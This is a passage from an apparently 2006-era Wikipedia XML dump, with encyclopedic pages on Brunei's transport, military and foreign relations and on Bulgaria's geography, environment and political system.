:''See also :'' [[Brunei]]

[[Category:Communications by country|Brunei]]
[[Category:Brunei]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Brunei</title>
    <id>3663</id>
    <revision>
      <id>35668975</id>
      <timestamp>2006-01-18T12:41:32Z</timestamp>
      <contributor>
        <username>Novelty</username>
        <id>610535</id>
      </contributor>
      <text xml:space="preserve">'''[[Railway]]s:'''
&lt;br&gt;''total:''
13 km (private line)
&lt;br&gt;''narrow gauge:''
13 km 0.610-m gauge

'''[[Highway]]s:'''
&lt;br&gt;''total:''
1,150 km
&lt;br&gt;''paved:''
399 km
&lt;br&gt;''unpaved:''
751 km (1996 est.)

'''Waterways:'''
209 km; navigable by craft drawing less than 1.2 m

'''[[Pipeline]]s:'''
[[crude oil]] 135 km; [[petroleum]] products 418 km; [[natural gas]] 920 km

'''Ports and harbors:'''
[[Bandar Seri Begawan]], [[Kuala Belait]], [[Muara]], [[Seria]], [[Tutong (city)|Tutong]]

'''[[Merchant marine]]:'''
&lt;br&gt;''total:''
7 ships (1,000 GRT or over) totaling 348,476 GRT/340,635 DWT
&lt;br&gt;''ships by type:''
liquified gas 7 (1999 est.)

'''[[Airport]]s:'''
2 (1999 est.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
1
&lt;br&gt;''over 3,047 m:''
1 (1999 est.)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
1
&lt;br&gt;''914 to 1,523 m:''
1 (1999 est.)

'''National airline''':
*[[Royal Brunei]]

'''[[Heliport]]s:'''
3 (1999 est.)

:''See also :'' [[Brunei]]

[[Category:Brunei]]
[[Category:Transportation by country|Brunei]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Brunei</title>
    <id>3664</id>
    <revision>
      <id>21057903</id>
      <timestamp>2005-08-15T11:26:44Z</timestamp>
      <contributor>
        <username>Hammersfan</username>
        <id>64883</id>
      </contributor>
      <text xml:space="preserve">The Sultan is both Minister of Defense and Supreme Commander of the Armed Forces (RBAF). All servicement in the [[Brunei Army]], [[Royal Brunei Navy]], and [[Royal Brunei Air Force]] units are made up of volunteers. There are two infantry brigades, equipped with armored reconnaissance vehicles and armored personnel carriers and supported by Rapier air defense missiles and a flotilla of coastal patrol vessels armed with surface-to-surface missiles.

Brunei has a defense agreement with the United Kingdom, under which a battalion of the [[Royal Gurkha Rifles]] is permanently stationed in Seria, near the centre of Brunei's oil industry. The RBAF has joint exercises, training programs, and other military cooperation with the United Kingdom and many other countries, including the United States.

'''Military branches:'''
Land Forces, Navy, Air Force, Royal Brunei Police

'''Military manpower - military age:'''
18 years of age

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
104,447 (2000 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
60,395 (2000 est.)

'''Military manpower - reaching military age annually:'''
&lt;br&gt;''males:''
2,957 (2000 est.)

'''Military expenditures - dollar figure:'''
$343 million (FY98)

'''Military expenditures - percent of GDP:'''
5.1% (FY98)

==References and Links==
*[[Brunei]]
[[Category:Military of Brunei|*]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Brunei</title>
    <id>3665</id>
    <revision>
      <id>42051892</id>
      <timestamp>2006-03-03T13:43:51Z</timestamp>
      <contributor>
        <ip>58.105.43.244</ip>
      </contributor>
      <text xml:space="preserve">{{Politics of Brunei}}
[[Brunei]] joined [[ASEAN]] on [[January 7]] [[1984]]--1 week after resuming full independence --and gives its ASEAN membership the highest priority in its foreign relations. Brunei joined the [[UN]] in September 1984. It also is a member of the [[Organization of the Islamic Conference]] (OIC) and of the [[Asia-Pacific Economic Cooperation]] (APEC) forum. Brunei hosted the APEC Economic Leaders' Meeting in November 2000.  In 2005 it attended the inaugural [[East Asia Summit]].

'''Disputes - international:'''
possibly involved in a complex dispute over the [[Spratly Islands]] with the [[People's Republic of China]], [[Malaysia]], [[Philippines]], [[Republic of China]] on [[Taiwan]], and [[Vietnam]]; in 1984, Brunei established an exclusive fishing zone that encompasses Louisa Reef in the southern Spratly Islands, but has not publicly claimed the island


[[Category:Foreign relations by country|Brunei, Foreign affairs of]]</text>
    </revision>
  </page>
  <page>
    <title>Bulgaria/History</title>
    <id>3667</id>
    <revision>
      <id>15901983</id>
      <timestamp>2002-03-02T14:39:42Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Bulgaria]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Bulgaria</title>
    <id>3668</id>
    <revision>
      <id>40139285</id>
      <timestamp>2006-02-18T12:22:06Z</timestamp>
      <contributor>
        <username>TodorBozhinov</username>
        <id>277419</id>
      </contributor>
      <minor />
      <comment>rm some irrelevant sentence in the intro</comment>
      <text xml:space="preserve">[[Image:Bu-map.png|right|Map of Bulgaria]]
'''[[Bulgaria]]''' is a country situated in south-eastern [[Europe]], bordering [[Romania]], [[Serbia]], the [[Republic of Macedonia]], [[Greece]], [[Turkey]] and the [[Black Sea]]. Its northern border with Romania follows the [[Danube]] river until [[Silistra]]. The land area of Bulgaria is 110,550 square kilometers, slightly larger than that of [[Iceland]] or the [[U.S.]] state of [[Tennessee]]. The country is situated on the west coast of the Black Sea, with Romania to the north, Greece and Turkey to the south, and Yugoslavia to the west. Considering its small size, Bulgaria has a great variety of topographical features. Even within small parts of the country, the land may be divided into plains, plateaus, hills, mountains, basins, gorges, and deep river valleys.

'''Geographic coordinates:'''
{{coor d|43|N|25|E|}}

==Boundaries==
Although external historical events often changed Bulgaria's national boundaries in its first century of existence, natural terrain features defined most boundaries after 1944, and no significant group of people suffered serious economic hardship because of border delineation. Postwar Bulgaria contained a large percentage of the ethnic [[Bulgarian people]], although numerous migrations into and out of Bulgaria occurred at various times. None of the country's borders was officially disputed in 1991, although nationalist Bulgarians continue to claim that Bulgaria's share of [[Macedonia (region)|Macedonia]]—which it shares with both [[Republic of Macedonia]] and Greece—is less than just because of the ethnic connection between Macedonians and Bulgarians.

Bulgaria has a total border of about 2,264 km. Rivers account for about 680 km and the [[Bulgarian Black Sea Coast|Black Sea coast]] for 400 km; the southern and western borders are mainly defined by [[ridge]]s in high terrain. The western and northern boundaries are shared with [[Serbia and Montenegro]] and Romania, respectively, and the Black Sea coastline constitutes the entire eastern border. The Romanian border follows the Danube for 464 km from the northwestern corner of the country to the city of [[Silistra]] and then cuts to the east-southeast for 136 km. The Danube, with steep bluffs on the Bulgarian side and a wide area of swamps and marshes on the Romanian side, is one of the most effective river boundaries in Europe. The line through [[Dobruja]] is arbitrary and was redrawn several times according to international treaties. In that process, most inhabitants with strong national preferences resettled in the country of their choice. Borders to the south are with Greece and Turkey, the border with Greece being 491 kilometres long, and the Turkish border having a length of 240 kilometres.

==Topography==
[[Image:Bulgaria 1994 CIA map.jpg|thumb|right|300px|Detailed map of Bulgaria]]
The main characteristic of Bulgaria's topography is alternating bands of high and low terrain that extend east to west across the country. From north to south, those bands are the [[Danubian Plateau]], [[Stara Planina]] (the Balkan Mountains), the central [[Thracian Plain]], and the [[Rhodope Mountains]]. The easternmost sections near the Black Sea are hilly, but they gradually gain height to the west until the westernmost part of the country is entirely high ground.

More than two-thirds of the country is plains, plateaus, or hilly land at an altitude less than 600 m. Plains (below 200 m) make up 31 % of the land, plateaus and hills (200 to 600 m) 41 %, low mountains (600 to 1,000 m) 10 %, medium-sized mountains (1,000 to 1,500 m) 10 %, and high mountains (over 1,500 m) 3 %. The average altitude in Bulgaria is 470 m.

The Danubian Plateau extends from the western borders to the Black Sea. It encompasses the area between the Danube River, which forms most of the country's northern border, and Stara Planina to the south. The plateau slopes gently from cliffs along the river, then it abuts mountains of 750 to 950 m. The plateau, a fertile area with undulating hills, is the granary of the country.

The southern edge of the Danubian Plateau blends into the foothills of Stara Planina, sometiems thought of as the Bulgarian part of the [[Carpathian Mountains]]. The Carpathians resemble a reversed S as they run eastward from the [[Czech Republic]] and [[Slovakia]] across the northern portion of Romania, swinging southward to the middle of Romania and then running westward, where they are known as the [[Transylvanian Alps]]. The mountains turn eastward again at the [[Iron Gate]], a gorge of the Danube River at the Romanian-Serbian border. At that point, they become Stara Planina of Bulgaria.

Stara Planina originates at the [[Timok Valley]] in [[Serbia]] and run southward towards the [[Sofia Basin]] in west central Bulgaria. From there they run east to the Black Sea. The Balkans are about 600 km long and 30 to 50 km wide. They retain their height well into central Bulgaria, where [[Botev Peak]], the highest point in the Balkan Mountains, rises to about 2,376 m. The range then continues at lower altitude to the cliffs of the Black Sea. Through most of Bulgaria, the Balkans form the watershed from which rivers drain north to the Danube River or south to the [[Aegean Sea]]. Some smaller rivers in the east drain directly to the Black Sea. The [[Sredna Gora]] is a narrow ridge about 160 km long and 1,600 m high, running east to west parallel to the Balkans. Just to the south is the [[Rose Valley]], famous for rose oil used in perfume and liqueurs.

The southern slopes of the Balkan Mountains and the Sredna Gora give way to the [[Thracian Plain]]. Roughly triangular in shape, the plain originates at a point east of the mountains near [[Sofia]] and broadens eastward to the Black Sea. It includes the [[Maritsa]] valley and the lowlands that extend from the river to the Black Sea. Like the Danubian Plateau, much of the Thracian Plain is somewhat hilly and not a true plain. Most of its terrain is moderate enough to cultivate.

Relatively high mountains occupy the area between the Thracian Plain and the Greek border to the south. The western parts consist of two ranges: the [[Rila|Rila Mountains]] south of [[Sofia]] and the [[Pirin Mountains]] in the southwestern corner of the country. They are the most outstanding topographic feature of Bulgaria and of the entire Balkan Peninsula. The Rila range includes [[Mount Musala]], whose 2,975-metre peak is the highest in any Balkan country. About a dozen other peaks in Rila are over 2,600 meters. The highest peaks are characterized by sparse bare rocks and remote lakes above the tree line. The lower peaks, however, are covered with alpine meadows that give the range an overall impression of green beauty. The Pirin range is characterized by rocky peaks and stony slopes. Its highest peak is [[Mount Vihren]], at 2,915 meters the second-highest peak in Bulgaria.

The largest basin in Bulgaria is the [[Sofia Basin]]. About 24 km wide and 96 km long, the basin contains the capital city and the area immediately surrounding it. The route through basins and valleys from [[Belgrade]] to [[Istanbul]] (formerly [[Constantinople]]) via Sofia has been historically important since [[Ancient Rome|Roman times]], determining the strategic significance of the [[Balkan Peninsula]]. Bulgaria's largest cities were founded on this route. Paradoxically, although the mountains made many Bulgarian villages and towns relatively inaccessible, Bulgaria has always been susceptible to invasion because no natural obstacle blocked the route through Sofia.

A significant part of Bulgaria's land is prone to earthquakes. Two especially sensitive areas are the borders of the [[North Bulgarian Swell]] (rounded elevation), the center of which is in the [[Gorna Oryahovitsa]] area in north-central Bulgaria, and the [[West Rhodopes Vault]], a wide area extending through the Rila and northern Pirin regions to [[Plovdiv]] in south-central Bulgaria. Especially strong tremors also occur along diagonal lines running between [[Skopje]] in the Republic of Macedonia and [[Razgrad]] in northeast Bulgaria, and from [[Albania]] eastward across the southern third of Bulgaria through Plovdiv. Sixteen major earthquakes struck Bulgaria between 1900 and 1986, the last two in [[Strazhitsa]] on the Skopje-Razgrad fault line. Together the two quakes damaged over 16,000 buildings, half of them severely. One village was almost completely leveled, others badly damaged. Many inhabitants were still living in temporary housing four years later.

==Drainage==
[[Image:Popovo ezero ot Jano.jpg|thumb|right|300px|Lake in Pirin mountain in Bulgaria]]
The [[Balkan Mountains]] divide Bulgaria into two nearly equal [[drainage system]]s. The larger system drains northward to the [[Black Sea]], mainly by way of the [[Danube River]]. This system includes the entire [[Danubian Plateau]] and a stretch of land running forty-eight to eighty kilometers inland from the coastline. The second system drains the [[Thracian Plain]] and most of the higher lands of the south and southwest to the [[Aegean Sea]]. Although only the Danube is navigable, many of the other rivers and streams in Bulgaria have a high potential for the production of hydroelectric power and are sources of irrigation water.

Of the Danube's Bulgarian tributaries, all but the [[Iskar River]] rise in the Balkan Mountains. The Iskur flows northward to the Danube from its origin in the Rila Mountains, passing through Sofia's eastern suburbs and through a Balkan Mountain valley.

The Danube gets slightly more than 4 % of its total volume from its Bulgarian tributaries. As it flows along the northern border, the Danube averages 1.6 to 2.4 kilometers in width. The river's highest water levels usually occur during June floods; it is frozen over an average of forty days per year.

Several major rivers flow directly to the [[Aegean Sea]]. Most of these streams fall swiftly from the mountains and have cut deep, scenic gorges. [[Maritsa]] with its tributaries is by far the largest draining all of the western [[Thracian Plain]], all of the [[Sredna Gora]], the southern slopes of the Balkan Mountains, and the northern slopes of the eastern Rhodopes. After it leaves Bulgaria, the Maritsa forms most of the Greek-Turkish border. [[Struma]] and the [[Mesta River|Mesta]] (which separate the Pirin Mountains from the main Rhodopes ranges) are the next largest Bulgarian rivers flowing to the Aegean. Struma and Mesta reach the sea through Greece.

==Climate==
Considering its small area, Bulgaria has an unusually variable and complex climate. The country lies between the strongly contrasting [[continental climate|continental]] and [[Mediterranean climate|Mediterranean]] climatic zones. Bulgarian mountains and valleys act as barriers or channels for air masses, causing sharp contrasts in weather over relatively short distances. The continental zone is slightly larger, because continental air masses flow easily into the unobstructed Danubian Plain. The continental influence, stronger during the winter, produces abundant snowfall; the Mediterranean influence increases during the summer and produces hot, dry weather. The barrier effect of the Balkan Mountains is felt throughout the country: on the average, northern Bulgaria is about one degree cooler and receives about 192 more millimetres of rain than southern Bulgaria. Because the Black Sea is too small to be a primary influence over much of the country's weather, it only affects the immediate area along its coastline.

The Balkan Mountains are the southern boundary of the area in which continental air masses circulate freely. The Rhodope Mountains mark the northern limits of domination by Mediterranean weather systems. The area between, which includes the Thracian Plain, is influenced by a combination of the two systems, with the continental predominating. This combination produces a plains climate resembling that of the Corn Belt in the United States, with long summers and high humidity. The climate in this region is generally more severe than that of other parts of Europe in the same latitude. Because it is a transitional area, average temperatures and precipitation are erratic and may vary widely from year to year.

Average [[precipitation]] in Bulgaria is about 630 millimetres per year. [[Dobruja]] in the northeast, the Black Sea coastal area, and parts of the Thracian Plain usually receive less than 500 millimetres. The remainder of the Thracian Plain and the Danubian Plateau get less than the country average; the Thracian Plain is often subject to summer droughts. Higher elevations, which receive the most rainfall in the country, may average over 2,540 millimeters per year.

The many valley basins scattered through the uplands have temperature inversions resulting in stagnant air. Sofia is located in such a basin, but its elevation (about 530 meters) tends to moderate summer temperature and relieve oppressive high humidity. Sofia also is sheltered from the northern European winds by the mountains that surround its troughlike basin. Temperatures in Sofia average -2°C in January and about 21°C in August. The city's rainfall is near the country average, and the overall climate is pleasant.

The coastal climate is moderated by the Black Sea, but strong winds and violent local storms are frequent during the winter. Winters along the Danube River are bitterly cold, while sheltered valleys opening to the south along the Greek and Turkish borders may be as mild as areas along the Mediterranean or Aegean coasts. 

==Environment==
Like other former European members of the [[Council for Mutual Economic Assistance]], Bulgaria saw unimpeded industrial growth as a vital sign of social welfare and progress toward the socialist ideal. Because this approach made environmental issues a taboo subject in socialist Bulgaria, the degree of damage by postwar industrial policy went unassessed until the government of [[Todor Zhivkov]] (1962-1989) was overthrown in late [[1989]]. The Zhivkov government's commitment to heavy industry and lack of money to spend on protective measures forced it to conceal major environmental hazards, especially when relations with other countries were at stake. Factories that did not meet environmental standards paid symbolic fines and had no incentive to institute real environmental protection measures. Even as late as 1990, socialist officials downplayed the effects on Bulgaria of radiation from the 1986 nuclear power plant accident at [[Chernobyl']]. Citizens were informed that they need not take iodine tablets or use any other protective measures.

In 1991 Bulgarian environmentalists estimated that 60 % of the country's agricultural land was damaged by excessive use of pesticides and fertilizers and by industrial fallout. In 1991 two thirds of Bulgarian rivers were polluted, and the [[Yantra River]] was classified as the dirtiest river in Europe. By that time, about two-thirds of the primary forests had been cut. However, despite its recognition of the need for greater environmental protection, Bulgaria budgeted only 10.4 billion [[lev]]a.

Perhaps the most serious environmental problem in Bulgaria was in the Danube port city of [[Ruse, Bulgaria|Ruse]]. From 1981 to 1989, the chemical pollution that spread from a [[chlorine]] and [[sodium]] plant across the Danube in [[Giurgiu]], Romania, was a forbidden subject in Bulgaria because it posed a threat to good relations between two Warsaw Pact countries. Chemical plants in Ruse also contributed to the pollution. Citizen environmentalists opposing the situation in Ruse organized the first demonstrations and the first independent political group to oppose the Zhivkov regime. During the Giurgiu plant's first year of operation, chlorine levels in Ruse almost doubled, reaching two times the permissible maximum in the summer of 1990. Over 3,000 families left the city in the 1980s despite government restrictions aimed at covering up the problem. Besides chlorine and its byproducts, the plant produced chemical agents for the rubber industry, and in 1991 some sources reported that the plant was processing industrial waste from Western countries—both activities likely to further damage Ruse's environment. International experts claimed that half of Ruse's pollutants came from Giurgiu, and the others came from Bulgarian industries. In response to the formidable Bulgarian environmental movement, some Bulgarian plants have been closed or have added protective measures; the Giurgiu plant, however, was planning to expand in 1991.

Pollution of agricultural land from a copper plant near the town of [[Srednogorie]] provoked harsh public criticism. The plant emitted toxic clouds containing [[copper]], [[lead]], and [[arsenic]]. In 1988 it released toxic wastewater into nearby rivers used to irrigate land in the Plovdiv-[[Pazardzhik]] Plain, which includes some of Bulgaria's best agricultural land. The groundwater beneath the plain also was poisoned. Work has begun on a plan to drain toxic wastewater from the plant's reservoir into the Maritsa River. Environmental improvements for the copper plant and three other factories in the Plovdiv area (a lead and zinc factory, a chemical factory, and a uranium factory) also were planned, but they would take years to implement.

None of Bulgaria's large cities escaped serious environmental pollution. Statistics showed that 70 to 80 % of Sofia's air pollution is caused by emissions from cars, trucks, and buses. Temperature inversions over the city aggravated the problem. Two other major polluters, the [[Kremikovtsi]] Metallurgy Works and the [[Buhovo]] [[uranium]] mine (both in southwestern Bulgaria), contaminated the region with lead, [[sulfur dioxide]], [[hydrogen sulfide]], [[ethanol]], and [[mercury (element)|mercury]]. The city of [[Kardzhali]] became heavily polluted with lead from its lead and zinc complex. In 1973 the [[petroleum]] and chemical plant near the Black Sea port of [[Burgas]] released large amounts of chlorine in an incident similar to the one in Srednogorie. Environmentalists estimated that the area within a thirty-kilometer radius of the plant was rendered uninhabitable by that release. The air in Burgas was also heavily polluted with carbon and sulfur dioxide in 1990.

In 1990 environmental scientists claimed that two-thirds of Bulgaria's population suffered from the polluted environment to some degree. In 1991 Bulgaria began seeking international assistance in solving environmental problems. Besides joining Romania, Turkey, and Russia in joint scientific studies of the critically polluted Black Sea, Bulgaria actively sought environmental technology and expertise from [[Western Europe]] and the [[United States]]. 

==Political geography==
Bulgaria's political geography has changed greatly since the restoration of statehood in [[1878]]. [[Russia]], whose military victories had lead to its creation, pushed for a &quot;big Bulgaria&quot; that would include much of [[Macedonia (region)|Macedonia]]. At the [[Congress of Berlin, 1878|Congress of Berlin]], however, the powers insisted upon a much reduced area, divided until [[1885]] between the principalities of Bulgaria proper and [[Eastern Rumelia]]. 

An independent kingdom from [[1908]] to [[1946]] and thereafter a republic, Bulgaria sought to expand its territory in the two [[Balkan Wars]] of [[1912]]-[[1913|13]] and in World Wars [[World War I|I]] and [[World War II|II]]. Defeat in the last three conflicts led to a large loss of territory in [[1913]] and [[1919]], though the [[1940]] recovery of the [[Southern Dobruja]] was confirmed by the [[Paris Peace Treaties, 1947|Paris Peace Treaty]] of [[1947]]. 

'''Natural hazards:'''
earthquakes, landslides

'''Environment - current issues:'''
air pollution from industrial emissions; rivers polluted from raw sewage, heavy metals, detergents; [[deforestation]]; forest damage from air pollution and resulting [[acid rain]]; soil contamination from heavy metals from metallurgical plants and industrial wastes

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
[[Air Pollution]], [[Air Pollution-Nitrogen Oxides]], [[Air Pollution-Sulphur 85]], [[Air Pollution-Volatile Organic Compounds]], [[Antarctic-Environmental Protocol]], [[Antarctic Treaty]], [[Biodiversity]], [[United Nations Framework Convention on Climate Change|Climate Change]], [[Endangered Species]], [[Environmental Modification]], [[Hazardous Wastes]], [[Law of the Sea]], [[Nuclear Test Ban]], [[Ozone Layer Protection]], Ship Pollution ([[MARPOL 73/78]]), [[Wetlands]]
&lt;br&gt;''signed, but not ratified:''
[[Air Pollution-Persistent Organic Pollutants]], [[Air Pollution-Sulphur 94]], [[Climate Change-Kyoto Protocol]]

==Area and boundaries==
'''Area:'''
&lt;br&gt;''total:''
110,910 km²
&lt;br&gt;''land:''
110,550 km²
&lt;br&gt;''water:''
360 km²

'''Area - comparative:'''
slightly larger than [[Tennessee]]

'''Land boundaries:'''
&lt;br&gt;''total:''
1,808 km
&lt;br&gt;''border countries:''
[[Greece]] 494 km, The [[Republic of Macedonia]] 148 km, [[Romania]] 608 km, [[Serbia]] and [[Montenegro]] 318 km (all with Serbia), [[Turkey]] 240 km

'''Coastline:'''
354 km

'''Maritime claims:'''
&lt;br&gt;''contiguous zone:''
24 nm
&lt;br&gt;''exclusive economic zone:''
200 nm
&lt;br&gt;''territorial sea:''
12 nm

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
[[Black Sea]] 0 m
&lt;br&gt;''highest point:''
[[Musala]] 2,925 m

==Resources and land use==
'''Natural resources:'''
[[bauxite]], [[copper]], [[lead]], [[zinc]], [[coal]], [[timber]], arable land

'''Land use:'''
&lt;br&gt;''arable land:''
43%
&lt;br&gt;''permanent crops:''
2%
&lt;br&gt;''permanent pastures:''
14%
&lt;br&gt;''forests and woodland:''
38%
&lt;br&gt;''other:''
3% (1999 est.)

'''Irrigated land:'''
12,370 km² (1993 est.)



'''Geography - note:'''
strategic location near [[Turkish Straits]]; controls key land routes from [[Europe]] to [[Middle East]] and [[Asia]]

Bulgaria has only one marsh, the [[Swamp of Durankulak]].

==See also== 
* [[Bulgaria]]
* [[Extreme points of Bulgaria]]
* [[Reservoirs and dams in Bulgaria]]
* [[Rivers of Bulgaria]]
* [[List of cities in Bulgaria]]
* [[Geography of Europe]]

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
*''CIA World Fact Book''

[[Category:Geography of Bulgaria| ]]
[[Category:Geography by country|Bulgaria]]

[[bg:География на България]]
[[es:Geografía de Bulgaria]]
[[pt:Geografia da Bulgária]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Bulgaria</title>
    <id>3670</id>
    <revision>
      <id>41519011</id>
      <timestamp>2006-02-27T22:24:21Z</timestamp>
      <contributor>
        <username>Dismas</username>
        <id>152983</id>
      </contributor>
      <minor />
      <comment>US -&gt; U.S. per Wikipedia:Manual of style#Acronyms and abbreviations</comment>
      <text xml:space="preserve">{{Politics of Bulgaria}}
'''Politics of Bulgaria''' takes place in a framework of a [[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] [[republic]], whereby the [[Prime Minister of Bulgaria|Chairman of the Council of Ministers]] is the [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and the [[National Assembly of Bulgaria | National Assembly]]. Since 1990 Bulgaria has an unstable party system, wherein nowadays the post-communist social democratic [[Bulgarian Socialist Party]] and the personalist liberal [[National Movement Simeon II]] are dominant. The [[Judiciary]] is independent of the executive and the legislature. The [[United States|U.S.]] [[Freedom House]] rates the country with a 1 on political rights and with a 2 on [[civil rights]] (on a scale of 1 to 7 whereas 1 is the most free). The Freedom House considers Bulgaria to be a [[freedom|free country]].

==Developments since 1990==
The [[Bulgarian Socialist Party]] (BSP) won the first post-communist Assembly elections in 1990 with a small majority. The BSP government formed at that time was brought down by a general strike in late 1990 and replaced by a transitional coalition government. Meanwhile, [[Zhelyu Zhelev]], a communist-era dissident, was elected President by the Assembly in 1990 and later won Bulgaria's first direct presidential elections, in 1992. Zhelev served until early 1997. The country's first fully democratic Assembly elections, in November 1991, ushered in another coalition government, which was led by the pro-reform Union of Democratic Forces (UDF) in partnership with the Turkish party [[Movement for Rights and Freedoms]] (MRF). This coalition collapsed in late 1992, however, and was succeeded by a technocratic team, put forward by the MRF, which governed at the sufferance of the BSP for 2 years. The BSP won pre-term elections in December 1994 and remained in office until February 1997, when a populace alienated by the BSP's failed, corrupt government demanded its resignation and called for new elections. A caretaker cabinet appointed by the President served until pre-term parliamentary elections in April 1997, which yielded a landslide victory for pro-reform forces led by the UDF in the United Democratic Forces coalition.

In [[2001]], former King [[Simeon Saxe-Coburg-Gotha]] returned to power, this time as Prime Minister with his [[National Movement Simeon II]]. The last parliamentary elections took place on [[25 June]] [[2005]].

On [[July 27]], [[2005]] the Bulgarian Parliament chose [[Sergei Stanishev]] of the [[Bulgarian Socialist Party]] as the new Prime Minister in a coalition government with the [[Movement for Rights and Freedoms]]. The vote was 120 against 119. However, the parliament voted against the cabinet's staff by 119 to 117 votes. Finally, on [[August 15]], [[2005]], the BSP and [[National Movement Simeon II]] formed a stable government, along with the [[Movement for Rights and Freedoms]]. This [[grand coalition]] comprises the three largest parties. This coalition will have a large majority in parliament with 169 of the 240 deputies.

==Office holders== 
{{office-table}}
!align=left|[[President of Bulgaria|President]]
|[[Georgi Purvanov]]
|[[Bulgarian Socialist Party|BSP]]
|[[22 January]] [[2002]]
|-
!align=left|[[Vice President of Bulgaria|Vice President]]
|[[Angel Marin]]
|[[Bulgarian Socialist Party|BSP]]
|[[22 January]] [[2002]]
|-
!align=left|[[Prime Minister of Bulgaria|Chairman of the Council of Ministers]]
|[[Sergei Stanishev]]
|[[Bulgarian Socialist Party|BSP]]
|[[17 August]] [[2005]]
|-
|Deputy Prime Minister, Minister of Foreign Affairs
|[[Ivaylo Kalfin]]
|[[Bulgarian Socialist Party|BSP]]
|[[17 August]] [[2005]]
|-
|Deputy Prime Minister, Minister of Education and Science 
|[[Danail Vulchev]]
|[[National Movement Simeon II|NDSV]]
|[[17 August]] [[2005]]
|-
|Deputy Prime Minister, Minister of Emergencies 
|[[Emel Etem Toshkova]]
|[[Movement for Rights and Freedoms|DPS]]
|[[17 August]] [[2005]]
|-
!align=left|[[Chairman of the National Assembly of Bulgaria|Chairman of the National Assembly]]
|[[Georgi Pirinski]]
|[[Bulgarian Socialist Party|BSP]]
|[[11 July]] [[2005]]
|-
|Vice Chairmen of the National Assembly
|[[Luben Kornezov]]
|[[Bulgarian Socialist Party|BSP]]
|[[11 July]] [[2005]]
|-
|Vice Chairmen of the National Assembly
|[[Kamelia Kassabova]]
|[[National Movement Simeon II|NDSV]]
|[[11 July]] [[2005]]
|-
|Vice Chairmen of the National Assembly
|[[Younal Loutfi]]
|[[Movement for Rights and Freedoms|DPS]]
|[[11 July]] [[2005]]
|}

==[[Executive branch]]==
The [[President of Bulgaria]], elected for a 5-year term, is head of state and commander in chief of the armed forces. The President's main duties are to schedule elections and referenda, represent Bulgaria abroad, conclude international treaties, and head the Consultative Council for National Security. The President may return legislation to the National Assembly for further debate--a kind of veto--but the legislation can be passed again by a simple majority vote.

The Council of Ministers is the principal organ of the executive branch. It is usually formed by the majority party in Parliament, if one exists, or by the largest party in Parliament along with coalition partners. Chaired by the Prime Minister, it is responsible for carrying out state policy, managing the state budget, and maintaining law and order. The Council must resign if the National Assembly passes a vote of no confidence in the Council or the Prime Minister.

The Council of Ministers elected by the [[National Assembly (Bulgaria)|National Assembly]]. The ministers are:&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;
[[Sergei Stanishev]] - Prime Minister
&lt;/li&gt;
&lt;li&gt;
[[Ivaylo Kalfin]] - Deputy Prime Minister, Minister of Foreign Affairs
&lt;/li&gt;
&lt;li&gt;
[[Daniel Vulchev]] - Deputy Prime Minister, Minister of Education and Science
&lt;/li&gt;
&lt;li&gt;
[[Emel Etem Toshkova]] - Deputy Prime Minister, Minister of Emergencies
&lt;/li&gt;
&lt;li&gt;
[[Plamen Oresharski]] - Minister of Finance
&lt;/li&gt;
&lt;li&gt;
[[Rumen Ovcharov]] - Minister of Economy and Energy 
&lt;/li&gt;
&lt;li&gt;
[[Petar Mutafchiev]] - Minister of Transport
&lt;/li&gt;
&lt;li&gt;
[[Rumen Petkov (politician)|Rumen Petkov]] - Minister of Interior
&lt;/li&gt;
&lt;li&gt;
[[Stefan Danailov]] - Minister of Culture
&lt;/li&gt;
&lt;li&gt;
[[Assen Gagauzov]] - Minister of Regional Development and Public Works
&lt;/li&gt;
&lt;li&gt;
[[Radoslav Gaydarski]] - Minister of Health
&lt;/li&gt;
&lt;li&gt;
[[Emilia Maslarova]] - Minister of Labour and Social Policy
&lt;/li&gt;
&lt;li&gt;
[[Nikolay Vassilev]] - Minister for the Civil Service 
&lt;/li&gt;
&lt;li&gt;
[[Georgi Petkanov]] - Minister of Justice
&lt;/li&gt;
&lt;li&gt;
[[Veselin Bliznakov]] - Minister of Defence
&lt;/li&gt;
&lt;li&gt;
[[Meglena Kuneva]] - Minister of European Affairs 
&lt;/li&gt;
&lt;li&gt;
[[Nihat Kabil]] - Minister  of Agriculture and Forestry
&lt;/li&gt;
&lt;li&gt;
[[Dzhevdet Chakarov]] - Minister of Environment and Water
&lt;/li&gt;
&lt;/ul&gt;

==[[Legislative branch]]==
The legislative body is the unicameral [[National Assembly of Bulgaria | National Assembly]] of 240 members elected to 4-year terms. Political parties must garner a minimum of 4% of the national vote in order to enter the Assembly. The Assembly is responsible for enactment of laws, approval of the budget, scheduling of presidential elections, selection and dismissal of the [[Prime Minister of Bulgaria | Prime Minister]] and other ministers, declaration of war and deployment of troops outside of Bulgaria, and ratification of international treaties and agreements.

==Political parties and elections==
{{elect|1=List of political parties in Bulgaria|2=Elections in Bulgaria}}
{{Bulgarian parliamentary election, 2005}}
More info: [[Bulgarian parliamentary election, 2005]]''
{{Bulgarian presidential election, 2001}}

==[[Judicial branch]]==
Bulgaria's judicial system is independent and is managed by the [[Supreme Judicial Council of Bulgaria | Supreme Judicial Council]]. Its principal elements are the Supreme Court of Administration and the Supreme Court of Cassation, which oversee application of all laws by the lower courts and judge the legality of government acts. There is a separate Constitutional Court, which interprets the Constitution and rules on the constitutionality of laws and treaties.

==International relations==
'''International organisation participation:'''
